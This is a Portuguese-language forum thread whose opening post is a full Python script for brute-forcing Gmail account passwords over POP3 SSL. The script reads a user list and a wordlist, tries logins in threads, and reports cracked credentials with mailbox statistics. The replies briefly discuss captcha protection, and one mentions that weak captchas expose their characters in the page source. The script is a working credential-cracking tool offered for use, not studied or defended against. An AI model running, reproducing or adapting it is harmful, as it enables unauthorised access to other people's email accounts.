GMail Brute Force

Iniciado por Patrijosa, 12 de Janeiro , 2008, 02:39:41 PM

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Patrijosa

#!usr/bin/python

#Gmail Pop3 Brute Forcer

#http://darkcode.ath.cx
#d3hydr8[at]gmail[dot]com

import threading, time, random, sys, poplib
from copy import copy

if len(sys.argv) !=3:
    print "\n\t   d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0"
    print "\t   --------------------------------------------------\n"
    print "\t    Usage: ./gmailpopbrute.py <userlist> <wordlist>\n"
    sys.exit(1)
   
server = "pop.gmail.com"
success = []

try:
      users = open(sys.argv[1], "r").readlines()
except(IOError):
      print "[-] Error: Check your userlist path\n"
      sys.exit(1)
 
try:
      words = open(sys.argv[2], "r").readlines()
except(IOError):
      print "[-] Error: Check your wordlist path\n"
      sys.exit(1)
   
try:
    pop = poplib.POP3_SSL(server, 995)
    welcome = pop.getwelcome()
    pop.quit()
except (poplib.error_proto):
    welcome = "No Response"
    pass

print "\n\t   d3hydr8[at]gmail[dot]com GmailPopBruteForcer v1.0"
print "\t   --------------------------------------------------\n"
print "[+] Server:",server
print "[+] Port: 995"
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Server response:",welcome,"\n"

wordlist = copy(words)

def reloader():
    for word in wordlist:
        words.append(word)

def getword():
    lock = threading.Lock()
    lock.acquire()
    if len(words) != 0:
        value = random.sample(words,  1)
        words.remove(value[0])   
    else:
        print "\n[-] Reloading Wordlist - Changing User\n"
        reloader()
        value = random.sample(words,  1)
        users.remove(users[0])
       
    lock.release()
    if len(users) ==1:
        return value[0][:-1], users[0]
    else:
        return value[0][:-1], users[0][:-1]
       
class Worker(threading.Thread):
   
    def run(self):
        value, user = getword()
       
        try:
            print "-"*30
            print "[+] User:",user,"Password:",value
            pop = poplib.POP3_SSL(server, 995)
            pop.user(user)
            pop.pass_(value)
            print "\t\t\n\nLogin successful:",user, value
            print "\t\tMail:",pop.stat()[0],"emails"
            print "\t\tSize:",pop.stat()[1],"bytes\n\n"
            success.append(user)
            success.append(value)
            success.append(pop.stat()[0])
            success.append(pop.stat()[1])
            pop.quit()
        except (poplib.error_proto), msg:
            #print "An error occurred:", msg
            pass

for i in range(len(words)*len(users)):
    work = Worker()
    work.start()
    time.sleep(1)
if len(success) >=1:
    print "\n\n[+] Login successful:",success[0], success[1]
    print "\t[+] Mail:",success[2],"emails"
    print "\t[+] Size:",success[3],"bytes\n"
print "\n[-] Done\n"

CitarFonte: Dark Code
Sou o que nada sou!

Kratos

Bom.. mas não é a melhor maneira   ;D
::: "A vida é bela pra quem sabe curtir" :::





Shady

O problema é o mecanismo de proteção por validação de imagem.


Mundus Vult Decipi

Kratos

Captcha

Existem alguns sistemas "pobres" que se pode ver os caracteres no proprio Codigo Fonte da página...

Eu ja vi varios
::: "A vida é bela pra quem sabe curtir" :::